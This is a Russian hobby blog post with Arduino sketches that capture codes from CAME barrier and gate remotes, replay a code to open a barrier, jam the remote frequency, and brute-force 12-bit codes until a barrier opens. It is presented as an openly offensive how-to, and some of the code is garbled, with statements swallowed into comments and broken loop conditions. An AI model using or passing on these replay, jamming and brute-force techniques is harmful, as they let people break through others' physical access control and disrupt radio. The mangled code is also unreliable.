• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to secondary sidebar
  • Skip to footer

У Павла!

  • Контроллеры
    • Arduino
      • Приборы
      • Музыка
      • Проекты Arduino
      • Уроки Arduino
      • Игры на Arduino
      • Роботы на Ардуино
      • FLProg
    • Одноплатные ПК
      • Orange pi
      • Raspberry pi
        • Raspberry pi pico
        • Raspberry pi server
        • Проекты Raspberry pi
    • ESP
      • ESP8266
        • NodeMCU
      • ESP32
      • M5stack
    • Другие контроллеры
      • STM32
  • Умный дом
    • Home Assistant
      • Автоматизации
    • Tuya
    • Bluetooth
    • ESPHome
    • Frigate
    • Telegram
    • Яндекс
  • ЧПУ
  • 3d печать
  • Об авторе

Считывание кодов пульта от шлагбаумов came с помощью Arduino. Эмитация нажатия кнопки пульта came.

4 февраля, 2017

В этой статье разберем:

1. Как считать код пульта.
2. Как послать код с arduino на открытие шлагбаума
3. Как заглушить сигнал
4. Как перебором подобрать код для открытия шлагбаумаю

Ссылка на приемник и передатчик: http://ali.ski/S699Bv
Ссылка на пульт came: http://ali.ski/-jEW2

Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.

 

1. скетч на считывание кода с пульта:

 


#define RX 2 
#define TIMER_DIV 
volatile byte level=255; 
volatile unsigned long last, len; 
byte p_level; 
unsigned long p_len, p_len_prev; 
struct  
{  
  uint8_t state;  
  uint8_t data[3], dat_bit;  
} came;  
void set_bit(uint8_t *data, uint8_t n) 
{ 
  data[n/8]|=1<<(n%8); } #define CM_MAX_TE 450 #define CM_MIN_TE 250 #define CM_BITS12 12 #define CM_BITS24 24 void process_came() { unsigned char b; switch(came.state) { case 0: if(p_level) break; came.state=1; break; case 1: //start if(!p_level) break; else if(p_len>=CM_MIN_TE && p_len<=CM_MAX_TE)  
      {  
        came.state=2;  
        came.dat_bit=0;  
        came.data[0]=0x00;  
        came.data[1]=0x00;  
        came.data[2]=0x00;  
         
      }  
      else came.state=0;  
         
      
    
    case 2: //dat  
      if(p_level)  
      {  
        if(came.dat_bit==CM_BITS24)  
        {  
          came.state=0;  
          break;  
        }  

        if(p_len_prev<=CM_MAX_TE && p_len_prev>=CM_MIN_TE &&  
           p_len<=CM_MAX_TE*2 && p_len>=CM_MIN_TE*2) b=0;  
         else  
        if(p_len_prev<=CM_MAX_TE*2 && p_len_prev>=CM_MIN_TE*2 &&  
           p_len<=CM_MAX_TE && p_len>=CM_MIN_TE) b=1;  
         else  
        {  
          came.state=0;  
          break;  
        }  

        if(b) set_bit(came.data, came.dat_bit);  
        came.dat_bit++;  
        break;  
      }  
       else  
      {  
        if((p_len>5000)&&(came.dat_bit==CM_BITS12 || came.dat_bit==CM_BITS24)) came.state=100;  
      }  
      break;  
  }  
}   
void dump_hex(byte *buf, byte bits) 
{ 
byte b; 

for(b=0; b>(bits+7)/8; b++) 
{ 
if(buf[b]>0x0f) Serial.print('0'); 
Serial.print(buf[b], HEX); 
Serial.print(" "); 
} 
Serial.println(""); 
} 
void rx_int() 
{ 
if(level!=255) return; 

len=micros()-last; 
last=micros(); 

if(digitalRead(RX)==HIGH) level=0; 
else level=1;  
} 
void setup() 
{  
attachInterrupt(0, rx_int, CHANGE); 

Serial.begin(115200);  
while(!Serial); 

Serial.println("MEGA ARDUINO LOGGER"); 
Serial.println(""); 

interrupts(); 
}  

byte b; 

void loop() 
{  
if(level!=255) 
{ 
noInterrupts(); 
p_level=level; 
p_len=len; 
len=0; 
level=255; 
interrupts(); 

process_came(); 

p_len_prev = p_len; 
} 


if(came.state==100) 
{ 
Serial.print(came.data[0],HEX); 
Serial.print(came.data[1],HEX); 
Serial.print(came.data[2],HEX); 
//Serial.print("CAME["); 
Serial.print("came["); 
Serial.print(came.dat_bit); 
Serial.print("]: "); 
dump_hex(came.data, came.dat_bit); 
came.state=0; 
} 
}  

 

2.Посылаем код с помощью передатчика:

 

#define txPin 8
#define Te 320

void setup(){
  pinMode(txPin, OUTPUT);
}

void loop()
{
  SendCame(0b111111111111);
}

void SendCameBit(byte b)
{
  delayMicroseconds(Te);
  if (!b) digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,LOW);
}

void SendCame(long Code)
{     
  for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i--){
      SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
    }
    delay(16);
  }
  delay(2000); // сделать паузу после посылки на 2 с
}

 

3. Делаем глушилку сигнала:

 

void setup() { 
pinMode(8, OUTPUT); 
}

void loop() {
digitalWrite(8, HIGH);
delayMicroseconds(500);
digitalWrite(8, LOW);
delayMicroseconds(500);
}

 

4. Делаем перебор кодов пульта от шлагбаумов Came:

 

#define txPin 8
#define Te 320
int led = B00000001;
int led2 = B1000;
void setup(){
  pinMode(txPin, OUTPUT);
}
 
void loop()
{
 // SendCame(0b100010001111);
 // delay(2000);
  // SendCame((B1110 * 256) + B10101010);
 //  delay(5000);
  SendCame((led2 * 256) + led);
  led = led + B1;
 // delay(1000);
 
  if (led==11111111)
    {led2 = led2 + B1; }
}
 
void SendCameBit(byte b)
{
  delayMicroseconds(Te);
  if (!b) digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,LOW);
}
 
void SendCame(long Code)
{    
  for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд.
  {
    digitalWrite(txPin,HIGH);
    delayMicroseconds(Te);
    digitalWrite(txPin,LOW);// посылаем стартовый импульс
   
    for (byte i=12;i>0;i--){
      SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
    }
    delay(16);
  }
  delay(500); // сделать паузу после посылки на 2 с
}

 

 

Ссылка на архив со скетчами:  https://yadi.sk/d/vywdKVjN39qYt5

Видео:

Primary Sidebar

Поиск

Новые записи

  • Автоматизация перезагрузки устройства по команде Ping.
  • Разблокирование и добавление шлюза Xiaomi gateway 3 в Home Assistant для управления Bluetooth устройствами из экосистемы Xiaomi Home (mihome)
  • Интеграция для локального управления (без интернета) ик пультом Tuya работающим по wifi из Home Assistant
  • Транслируем показания с Уличного Bluetooth Датчика температуры по BTHome на дисплей датчика температуры XIaomi LYWSD03MMC
  • Заставляем Bluetooth датчики температуры tuya и xiaomi отправлять данные по Zigbee в Home Assistant.

Официальный YouTube Канал M5Stack:

Подписывайтесь на Телеграм канал

https://t.me/ypavla

Подписаться на YouTube!

Secondary Sidebar




Подписывайтесь на Telegram Канал!

У Павла!

Footer

Copyright_У Павла! © 2025 ·